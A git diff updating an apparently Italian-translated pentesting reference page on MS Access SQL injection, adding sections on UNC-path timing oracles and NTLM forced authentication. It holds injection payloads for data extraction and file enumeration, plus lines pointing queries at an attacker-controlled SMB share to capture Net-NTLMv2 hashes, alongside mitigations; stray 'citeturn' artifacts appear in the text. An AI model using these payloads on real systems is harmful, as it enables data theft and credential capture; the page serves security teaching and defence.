diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index f0705e0ec..b2c74f29b 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -4,7 +4,7 @@ ## Online Playground -- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) +- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) ## Limitazioni del DB @@ -31,7 +31,7 @@ Non sono supportate. ### LIMIT -L'operatore **`LIMIT`** **non è implementato**. Tuttavia, è possibile limitare i risultati della query SELECT alle **prime N righe della tabella utilizzando l'operatore `TOP`**. `TOP` accetta come argomento un intero, che rappresenta il numero di righe da restituire. +L'operatore **`LIMIT`** **non è implementato**. Tuttavia, è possibile limitare i risultati delle query SELECT alle **prime N righe della tabella utilizzando l'operatore `TOP`**. `TOP` accetta come argomento un intero, che rappresenta il numero di righe da restituire. ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` @@ -56,7 +56,7 @@ Immagina di avere una SQLi in un database MS Access e sai (o hai indovinato) che ```sql '=(Mid(username,1,3)='adm')=' ``` -Se conosci il **nome della tabella** e **colonna** da estrarre, puoi utilizzare una combinazione tra `Mid`, `LAST` e `TOP` per **estrarre tutte le informazioni** tramite SQLi booleano: +Se conosci il **nome della tabella** e **della colonna** da estrarre, puoi utilizzare una combinazione tra `Mid`, `LAST` e `TOP` per **leakare tutte le informazioni** tramite SQLi booleano: ```sql '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' ``` @@ -77,9 +77,9 @@ _Feel free to check this in the online playground._ - Sqlmap nomi di tabelle comuni: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) - C'è un'altra lista in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) -### Forzatura Bruta dei Nomi delle Colonne +### Brute-Forcing Nomi delle colonne -Puoi **forzare bruscamente i nomi delle colonne correnti** con il trucco della concatenazione uguale con: +Puoi **forzare i nomi delle colonne correnti** con il trucco della concatenazione degli uguali con: ```sql '=column_name=' ``` @@ -95,15 +95,25 @@ Oppure puoi forzare i nomi delle colonne di una **tabella diversa** con: ``` ### Dumping data -Abbiamo già discusso della [**tecnica del chaining equals**](ms-access-sql-injection.md#chaining-equals-+-substring) **per estrarre dati dalle tabelle attuali e da altre tabelle**. Ma ci sono altri modi: +Abbiamo già discusso della [**tecnica chaining equals**](ms-access-sql-injection.md#chaining-equals-+-substring) **per estrarre dati dalle tabelle attuali e da altre tabelle**. Ma ci sono altri modi: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -In poche parole, la query utilizza un'istruzione "if-then" per attivare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'uso successivo di LAST consente di considerare solo la 10ª tupla. Su tale valore, utilizzando l'operatore MID, è possibile eseguire un semplice confronto di caratteri. Cambiando correttamente l'indice di MID e TOP, possiamo estrarre il contenuto del campo "username" per tutte le righe. +In sintesi, la query utilizza un'istruzione "if-then" per attivare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'uso successivo di LAST consente di considerare solo la 10ª tupla. Su tale valore, utilizzando l'operatore MID, è possibile eseguire un semplice confronto di caratteri. Cambiando correttamente l'indice di MID e TOP, possiamo estrarre il contenuto del campo "username" per tutte le righe. -### Time Based +### Trucchi Basati sul Tempo (Blind) -Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN]() +Jet/ACE SQL stesso **non** espone una funzione nativa `SLEEP()` o `WAITFOR`, quindi le iniezioni blind basate sul tempo sono limitate. Tuttavia, è ancora possibile introdurre un ritardo misurabile costringendo il motore ad accedere a una **risorsa di rete che è lenta o non risponde**. Poiché il motore cercherà di aprire il file prima di restituire il risultato, il tempo di risposta HTTP riflette la latenza di andata e ritorno verso l'host controllato dall'attaccante. +```sql +' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- +``` +Punta il percorso UNC a: + +* una condivisione SMB dietro un collegamento ad alta latenza +* un host che interrompe il handshake TCP dopo `SYN-ACK` +* un sinkhole del firewall + +I secondi extra introdotti dalla ricerca remota possono essere utilizzati come un **oracolo di temporizzazione out-of-band** per condizioni booleane (ad esempio, scegliere un percorso lento solo quando il predicato iniettato è vero). Microsoft documenta il comportamento del database remoto e l'associato kill-switch nel registro in KB5002984. citeturn1search0 ### Altre funzioni interessanti @@ -111,7 +121,7 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v= - `LEN('1234')` ottiene la lunghezza della stringa - `ASC('A')` ottiene il valore ascii del carattere - `CHR(65)` ottiene la stringa dal valore ascii -- `IIF(1=1,'a','b')` if then +- `IIF(1=1,'a','b')` se allora - `COUNT(*)` Conta il numero di elementi ## Enumerare le tabelle @@ -134,13 +144,13 @@ Tuttavia, nota che è molto tipico trovare SQL Injection dove **non hai accesso La conoscenza del **percorso assoluto della radice web può facilitare ulteriori attacchi**. Se gli errori dell'applicazione non sono completamente nascosti, il percorso della directory può essere scoperto cercando di selezionare dati da un database inesistente. -`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` +`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` MS Access risponde con un **messaggio di errore contenente il percorso completo della directory web**. ### Enumerazione dei File -Il seguente vettore d'attacco può essere utilizzato per **inferire l'esistenza di un file nel filesystem remoto**. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database è non valido: +Il seguente vettore d'attacco può essere utilizzato per **inferire l'esistenza di un file nel filesystem remoto**. Se il file specificato esiste, MS Access attiva un messaggio di errore che informa che il formato del database è invalido: `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` @@ -150,18 +160,51 @@ Un altro modo per enumerare i file consiste nel **specificare un elemento databa ### Indovinare il Nome del File .mdb -Il **nome del file del database (.mdb)** può essere inferito con la seguente query: +**Il nome del file del database (.mdb)** può essere inferito con la seguente query: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -Dove **name\[i] è un nome di file .mdb** e **realTable è una tabella esistente** all'interno del database. Anche se MS Access genererà sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido. +Dove **name[i] è un nome di file .mdb** e **realTable è una tabella esistente** all'interno del database. Anche se MS Access attiverà sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido. -### Cracker per Password .mdb +### Accesso Remoto al Database e Furto di Credenziali NTLM (2023) + +Dal Jet 4.0 ogni query può fare riferimento a una tabella situata in un file `.mdb/.accdb` *diverso* tramite la clausola `IN ''`: +```sql +SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; +``` +Se l'input dell'utente è concatenato nella parte dopo **IN** (o in una chiamata `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), un attaccante può specificare un **UNC path** che punta a un host che controlla. Il motore: + +1. cercherà di autenticarsi tramite SMB / HTTP per aprire il database remoto; +2. esporrà le **NTLM credentials** del server web (autenticazione forzata); +3. analizzerà il file remoto – un database malformato o malevolo può attivare bug di corruzione della memoria Jet/ACE che sono stati corretti più volte (ad es. CVE-2021-28455). + +Esempio pratico di iniezione: +```sql +1' UNION SELECT TOP 1 name +FROM MSysObjects +IN '\\attacker\share\poc.mdb'-- - +``` +Impatto: + +* Esfiltrazione out-of-band di hash Net-NTLMv2 (utilizzabili per relay o cracking offline). +* Potenziale esecuzione remota di codice se viene sfruttato un nuovo bug del parser Jet/ACE. + +Mitigazioni (raccomandate anche per le app Classic ASP legacy): + +* Aggiungere il valore di registro `AllowQueryRemoteTables = 0` sotto `HKLM\Software\Microsoft\Jet\4.0\Engines` (e sotto il percorso ACE equivalente). Questo costringe Jet/ACE a rifiutare i percorsi remoti che iniziano con `\\`. +* Bloccare SMB/WebDAV in uscita al confine di rete. +* Sanitizzare / parametrizzare qualsiasi parte di una query che potrebbe finire all'interno di una clausola `IN`. + +Il vettore di autenticazione forzata è stato riesaminato da Check Point Research nel 2023, dimostrando che è ancora sfruttabile su Windows Server completamente aggiornato quando la chiave di registro è assente. citeturn0search0 + +### .mdb Password Cracker [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) è un'utilità gratuita che può essere utilizzata per recuperare la password principale del database di Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0. ## Riferimenti - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [Microsoft KB5002984 – Configurare Jet/ACE per bloccare le tabelle remote](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [Check Point Research – Abusare delle tabelle collegate di Microsoft Access per l'autenticazione forzata NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}